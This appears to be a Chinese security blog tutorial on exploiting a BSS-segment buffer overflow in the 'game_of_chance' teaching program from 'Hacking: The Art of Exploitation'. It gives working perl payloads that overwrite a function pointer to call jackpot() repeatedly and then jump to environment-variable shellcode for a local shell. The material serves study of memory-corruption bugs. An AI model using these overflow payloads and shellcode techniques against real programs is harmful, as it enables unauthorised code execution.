作者:M0rk
作者博客:https://kevien.github.io/
TL;DR
緩沖區溢出除了典型的棧溢出和堆溢出外,還有一種發生在bss段上的,bss屬于數據段的一種,通常用來保存未初始化的全局靜態變量。wiki
測試環境ubuntu14.04X86.
vul code snippet
from game_of_chance.c
// Custom user struct to store information about users
struct user {
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
...
struct user player; // Player struct
其中game_of_chance 是如下圖的一個小游戲

如上的代碼片段中用一個函數指針保存了上次玩了哪個游戲,這個指針保存在user的結構體中,且被聲明為全局變量,這意味著user這個結構體變量保存在bss數據段。其中結構體中固定為100字節的name變量保存了用戶的姓名,且這個name是可以被input_name()這個函數所控制的,如下:
void input_name() {
char *name_ptr, input_char='\n';
while(input_char == '\n') // Flush any leftover
scanf("%c", &input_char); // newline chars.
name_ptr = (char *) &(player.name); // name_ptr = player name's address
while(input_char != '\n') { // Loop until newline.
*name_ptr = input_char; // Put the input char into name field.
scanf("%c", &input_char); // Get the next char.
name_ptr++; // Increment the name pointer.
}
*name_ptr = 0; // Terminate the string.
}
這個函數會接收用戶輸入的名字直到用戶輸入換行符,所以這里并沒有有效的限制用戶輸入,就意味著可以被利用,此外我們覆蓋之后還需要程序去調用這個函數指針,這個功能可以發生在下面代碼的6、8或者10行以及play_the_game()函數中,代碼片段如下:
if((choice < 1) || (choice > 7))
printf("\n[!!] The number %d is an invalid selection.\n\n", choice);
else if (choice < 4) { // Othewise, choice was a game of some sort.
if(choice != last_game) { // If the function ptr isn't set
if(choice == 1) // then point it at the selected game
player.current_game = pick_a_number;
else if(choice == 2)
player.current_game = dealer_no_match;
else
player.current_game = find_the_ace;
last_game = choice; // and set last_game.
}
play_the_game(); // Play the game.
}
漏洞利用
如果last_game 未設置,函數指針current_game 會被指向成0或者-1,這時不會觸發漏洞,后面last_game被設置成1,當修改完名字完成對current_game覆蓋再玩游戲1的時候,進入play_the_game()函數,play_the_game()會有current_game指針變量的調用,此時漏洞即觸發!!!

我們可以通過ctrl+z掛起當前的進程(這個時候last_game變量被設置成了1(因為剛才玩的是游戲choice是1)),我們找到可以被溢出的變量name,然后通過簡單調試看一下name和current_game指針在內存中的位置關系。

如上圖所示,正好是100個字節,通過以上我們可以進行如下的覆蓋嘗試
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "A"x100 . "BBBB" . "\n"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

可以看到程序崩潰之前curren_game已被成功覆蓋為BBBB,這個時候我們需要一個”有效的”地址去做我們想要做的事情。
nm命令可以查看程序的符號表,來看一下程序有哪些函數以及其對應的內存地址(此思路常用于破解)。

jackpot函數是我們理想的目標,這個函數用來給我們增加”金幣”,所以當current_game函數指針被覆蓋成這個函數的時候,我們就可以擁有無數”金幣”
這個程序通過標準輸入進行用戶交互,我們完全可以使用腳本實現自動化,如下的例子將會自動選擇游戲1,然后猜測數字7,當被問是否還玩的時候選擇no,最后通過選擇7退出程序。
perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance
同樣的技巧可以用到自動化exploit中,下面的命令會完成修改用戶名為100個A加jackpot()的地址,這個時候就覆蓋掉了current_game的地址,然后當再次選擇我們要玩的游戲的后,jackpot()函數就會被調用。
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 90 credits] ->
[DEBUG] current_game pointer @ 0x08048f15
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 11
Sorry, you didn't win.
You now have 80 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 80 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??]
[You have 80 credits] ->
[DEBUG] current_game pointer @ 0x08048ca5
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 180 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??]
[You have 180 credits] ->
Thanks for playing! Bye.
xxx@ubuntu:~/Desktop/pwntest/bssexploit$
可以看到函數被調用我們增加了100金幣
因為只要有調用函數指針的操作就會觸發jackpot函數,只要我們不退出,就可以無限刷金幣,像是如下:
perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\n" ."y\n"x10. "n\n5\nM0rk\n7\n"' | ./game_of_chance

到這里可能有人會問那能不能getshell呢,答案是可以的,我們知道每個運行的程序都會加載系統變量,我們可以事先將shellcode寫入到環境變量中,然后將跳轉地址指向shellcode,就可以執行我們的shellcode了。getenvaddr用來獲取SHELLCODE環境變量在程序運行時候所在的地址。
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ echo $SHELLCODE
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1????j
XQh//shh/bin??Q??S???
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff206
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\x06\xf2\xff\xbf\n" . "1\n"' > exploit_buff
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ cat exploit_buff - | ./game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 1260 credits] ->
[DEBUG] current_game pointer @ 0x08048f15
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 6
Sorry, you didn't win.
You now have 1250 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 1250 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???]
[You have 1250 credits] ->
[DEBUG] current_game pointer @ 0xbffff206
id
uid=1000(xxx) gid=1000(xxx) groups=1000(xxx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
相關源碼下載
reference
《Hacking the art of exploitation》0x342
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/548/
暫無評論